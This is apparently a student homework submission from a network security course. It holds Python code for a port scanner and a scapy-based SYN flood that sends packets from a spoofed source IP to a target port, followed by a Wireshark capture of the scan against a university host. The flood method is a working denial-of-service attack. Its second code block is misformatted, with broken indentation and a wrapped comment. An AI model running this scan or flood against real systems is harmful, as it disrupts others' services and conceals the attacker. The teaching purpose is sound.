

Homework Number: 08

Name: Yuan Liu

ECN Login: liu1827

Due Date: 03/26/2020

Code for HW8

```
#!/usr/bin/env python3

# Homework Number: 08
# Name: Yuan Liu
# ECN Login: liu1827
# Due Date: 03/26/2020

import socket
from scapy.all import *
from scapy.layers.inet import TCP, IP

# Part of the code provided by Professor Kak
class TcpAttack:
    # spoofIP: String containing the IP address to spoof
    # targetIP: String containing the IP address of the target computer to attack
    def __init__(self, spoofIP, targetIP):
        self.spoofIP = spoofIP
        self.targetIP = targetIP
        # list containing all the port numbers
        self.open_ports = []

    # rangeStart: Integer designating the first port in the range of ports being
    # scanned.
    # rangeEnd: Integer designating the last port in the range of ports being scanned
    # No return value, but writes open ports to openports.txt
    def scanTarget(self, rangeStart, rangeEnd):

        for testport in range(rangeStart, rangeEnd + 1):
            print(testport)
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(0.1)
            try:
                sock.connect((self.targetIP, testport))
                self.open_ports.append(testport)
            except:
                pass
        print(self.open_ports)
        with open("openports.txt", "w") as fp:
            for testport in self.open_ports:
                fp.write(str(testport) + '\n')

# port: Integer designating the port that the attack will use
```

```

# numSyn: Integer of SYN packets to send to target IP address at the given port
# This method first verifies the specified port is open and then performs a DoS
attack on the target
# If the port is open, perform DoS attack and return 1. Otherwise return 0.
def attackTarget(self, port, numSyn):

    # verifies the specified port is open
    if port not in self.open_ports:
        return 0

    # performs a DoS attack on the target
    for i in range(numSyn):
        IP_header = IP(src=self.spoofIP, dst=self.targetIP)
        TCP_header = TCP(flags="S", sport=RandShort(), dport=port)
        packet = IP_header / TCP_header
        try:
            send(packet)
        except Exception as e:
            print(e)
    return 1

```

## Result

Capturing from Ethernet

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
1143	18.844488	192.168.1.2	172.107.228.182	UDP	85	60514 → 50003 Len=43
1144	18.861473	192.168.1.2	172.107.228.182	UDP	85	60514 → 50003 Len=43
1145	18.922982	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	66	50109 → deos(76) [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
1146	18.997416	192.168.1.2	us-central891.disco...	TLSv1.2	140	Application Data
1147	19.006842	192.168.1.2	172.107.228.182	UDP	214	60514 → 50003 Len=172
1148	19.023063	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	66	50110 → 77 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
1149	19.023940	192.168.1.2	172.107.228.182	UDP	211	60514 → 50003 Len=169
1150	19.025505	us-central891.disco...	192.168.1.2	TCP	60	https(443) → 49774 [ACK] Seq=58 Ack=1008 Win=69 Len=0
1151	19.042000	192.168.1.2	172.107.228.182	UDP	199	60514 → 50003 Len=157
1152	19.064448	192.168.1.2	172.107.228.182	UDP	219	60514 → 50003 Len=177
1153	19.086330	192.168.1.2	172.107.228.182	UDP	258	60514 → 50003 Len=216
1154	19.102758	192.168.1.2	172.107.228.182	UDP	267	60514 → 50003 Len=225
1155	19.112887	192.168.1.2	172.107.228.182	UDP	50	60514 → 50003 Len=8
1156	19.123066	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	66	50111 → vettcp(78) [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
1157	19.125235	192.168.1.2	172.107.228.182	UDP	228	60514 → 50003 Len=186
1158	19.137604	172.107.228.182	192.168.1.2	UDP	60	50003 → 60514 Len=8
1159	19.142326	192.168.1.2	172.107.228.182	UDP	255	60514 → 50003 Len=213
1160	19.165306	192.168.1.2	172.107.228.182	UDP	262	60514 → 50003 Len=220
1161	19.186848	192.168.1.2	172.107.228.182	UDP	265	60514 → 50003 Len=223
1162	19.187161	172.107.228.182	192.168.1.2	UDP	94	50003 → 60514 Len=52
1163	19.200980	192.168.1.2	172.107.228.182	RTCP	102	Sender Report
1164	19.204421	192.168.1.2	172.107.228.182	UDP	263	60514 → 50003 Len=221
1165	19.223185	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	66	50112 → finger(79) [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
1166	19.225022	192.168.1.2	172.107.228.182	UDP	245	60514 → 50003 Len=203
1167	19.242850	192.168.1.2	172.107.228.182	UDP	232	60514 → 50003 Len=190
1168	19.264966	192.168.1.2	172.107.228.182	UDP	219	60514 → 50003 Len=177
1169	19.286511	192.168.1.2	172.107.228.182	UDP	239	60514 → 50003 Len=197
1170	19.302365	192.168.1.2	172.107.228.182	UDP	259	60514 → 50003 Len=217
1171	19.323441	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	66	50113 → http(80) [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
1172	19.324597	192.168.1.2	172.107.228.182	UDP	249	60514 → 50003 Len=207
1173	19.345670	192.168.1.2	172.107.228.182	UDP	191	60514 → 50003 Len=149
1174	19.363084	192.168.1.2	172.107.228.182	UDP	224	60514 → 50003 Len=182
1175	19.384720	192.168.1.2	172.107.228.182	UDP	266	60514 → 50003 Len=224
1176	19.387585	ec2grid-thin6.ecn.p...	192.168.1.2	TCP	66	http(80) → 50113 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1 WS=128
1177	19.387677	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	54	50113 → http(80) [ACK] Seq=1 Ack=1 Win=131328 Len=0
1178	19.397694	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	54	50113 → http(80) [FIN, ACK] Seq=1 Ack=1 Win=131328 Len=0
1179	19.397851	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	66	50114 → 81 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
1180	19.401552	192.168.1.2	172.107.228.182	UDP	259	60514 → 50003 Len=217
1181	19.423785	192.168.1.2	172.107.228.182	UDP	220	60514 → 50003 Len=178
1182	19.447095	192.168.1.2	172.107.228.182	UDP	257	60514 → 50003 Len=215
1183	19.461608	ec2grid-thin6.ecn.p...	192.168.1.2	TCP	60	http(80) → 50113 [FIN, ACK] Seq=1 Ack=2 Win=29312 Len=0
1184	19.461689	192.168.1.2	ec2grid-thin6.ecn.p...	TCP	54	50113 → http(80) [ACK] Seq=2 Ack=2 Win=131328 Len=0
1185	19.463863	192.168.1.2	172.107.228.182	UDP	253	60514 → 50003 Len=211
1186	19.485907	192.168.1.2	172.107.228.182	UDP	251	60514 → 50003 Len=209

In the figure, any line (which is highlighted in grey) that has “ecegrid-thin6.ece...” is the result of my program which is the packet the program sent to ECN public IP address.